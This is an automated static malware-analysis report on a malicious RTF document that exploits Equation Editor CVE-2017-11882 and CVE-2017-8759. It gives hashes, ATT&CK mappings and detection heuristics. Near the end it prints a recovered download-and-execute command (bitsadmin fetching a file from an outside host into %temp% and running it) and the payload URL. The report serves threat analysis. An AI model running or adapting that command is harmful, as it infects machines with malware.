Malicious RTF — malware analysis report

Static analysis result for SHA-256 96f1374048cbf525…

MALICIOUS

RTF

2.91 MB Created: 2017-11-26 17:05:00 First seen: 2019-05-31
MD5: 5866fa1ad1e9f06c4fbb7d59bab8c1cf SHA-1: 294751901db41c5725723235fee9e37c7aab003b SHA-256: 96f1374048cbf525707ef9a1c6a0a4ed36d7c67fb40cd154434ed8a0cb0a6233
482 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains critical heuristics indicating exploitation of CVE-2017-11882 via the Equation Editor, a known vulnerability. It also shows evidence of CVE-2017-8759 exploitation. The presence of OLE object data and excessive hex data suggests a hidden payload. The embedded URL 'http://ekec.co.kr/data/a.gif' is likely associated with the payload delivery.

Heuristics 11

  • Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR
    Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759
    RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
  • ClamAV: Rtf.Exploit.CVE_2017_11882-6584355-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Rtf.Exploit.CVE_2017_11882-6584355-1
  • Equation Editor object class critical RTF_OBJCLASS_EQUATION
    Object class 'equation.3' references Equation Editor
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • Large hex data blocks in OLE object high RTF_EXCESSIVE_HEX
    RTF contains ~1043KB of hex-encoded data inside \objdata sections — may hide a payload
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ekec.co.kr/data/a.gif In RTF body
    • http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off0000341f.bin rtf-objdata-decoded RTF \objdata at offset 0x341F 3546 bytes
SHA-256: 44122893c37e4cf3f6078cac3e2c67883c51d0235a9bd0ac77b8c45f6eb7e5c4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://ekec.co.kr/data/a.gif Static shellcode analysis recovered command string(s): cmd /c bitsadmin /transfer get http://ekec.co.kr/data/a.gif %temp%\os.exe & %temp%\os.exe

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